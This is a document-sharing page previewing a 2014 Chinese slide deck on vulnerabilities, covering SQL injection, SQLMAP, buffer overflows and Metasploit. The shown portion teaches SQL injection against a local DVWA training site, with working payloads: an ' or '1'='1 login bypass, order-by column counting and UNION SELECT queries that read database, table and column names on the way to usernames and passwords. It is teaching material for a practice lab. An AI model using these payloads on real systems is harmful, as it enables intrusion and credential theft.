漏洞的艺术讲述.pptx

  1. 1、本文档共110页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
漏洞的艺术 暑期交流 2014-8-10 提纲 引言 SQL注入 SQLMAP 缓冲区溢出 Metasploit 引言 提供web服务的网络服务器 开放网络服务的主机 运行特定软件的主机 SQL注入 SQL注入原理 SQL注入原理 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看web服务器日志的习惯,可能被入侵很长时间都不会发觉。 SQL注入原理 最简单的SQL注入实例 假设这么一个情景,一个网页的后台入口处需要验证用户名和密码,验证程序的SQL语句是这样写: Select * from admin where user=‘TxtBox1.txt’ and pass=‘TxtBox2.txt’ 最简单的SQL注入实例 如果用户填写的用户名和密码都是: ‘abc’ or ‘1’=‘1’ 那么将导致SQL语句是: Select * from admin where user=‘abc’ or ‘1’=‘1’ and pass= =‘abc’ or ‘1’=‘1’ 这条语句是永真式,那么攻击者就成功登陆了后台。这就是最简单的SQL注入方式。 SQL注入过程 (1).寻找可能存在SQL注入漏洞的链接 (2).测试该网站是否有SQL注入漏洞 (3).获取数据库和表信息 (4).获取表中的字段信息 (5).获取用户名和密码 为了便于演示和练习,准备了漏洞网站 访问http://localhost/DVWA/即可 寻找可能存在SQL注入漏洞的链接 我们找的链接是: http://localhost/DVWA/vulnerabilities/sqli/?id1Submit=Submit# 测试该链接是否有SQL注入漏洞 (1)在参数末尾加’ http://localhost/DVWA/vulnerabilities/sqli/?id=1%27Submit=Submit# 结果如下: ------------------------------------- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 at line 1 ------------------------------------- 该信息说明:后台数据库是MySQL 。 测试该链接是否有SQL注入漏洞 (2)在参数末尾加 and 1=2 和 and 1=1 前者返回信息:该栏目无内容,将返回上一页;后者正常返回; (3)在参数末尾加 ‘ order by n +--+ 和‘ order by n+1 +--+ 等 获取结果集字段个数,当n=3时返回Unknown column ‘3’ in ‘order clause’,说明结果集字段个数为2 由此说明该网站存在sql注入漏洞,有很大把握可得到用户名和密码。 获取数据库和表信息 在参数末尾加上: union select user(),database() +--+Submit=Submit# 。 意思是通过mysql数据库的函数获得数据库名 页面返回预期的数据。 ID: union select user(),database() -- First name: root@localhost Surname: dvwa 获取数据库和表信息 在参数末尾加上 union select 1,TABLE_NAME from information_schema.tables where TABLE_SCHEMA=dvwa 意思是获得数据库中的表明 页面返回预期的数据。 ID: union select 1,TABLE_NAME from information_schema.tables where TABLE_SCHEMA=dvwa -- First name: 1 Surname: users 获取表中的字段信息 在参数末尾加上union select 1,COLUMN_NAME from information_schema.columns where table_name=users +--+ 意思是获得数据库表中的字段信息 页面返回预期的数据。 First name: 1 Surname: user_id ………………………….. First name: 1 Surname: password 获取用户名和密码 在参数末尾加上union select us

文档评论(0)

jiayou10 + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

版权声明书
用户编号:8133070117000003

1亿VIP精品文档

相关文档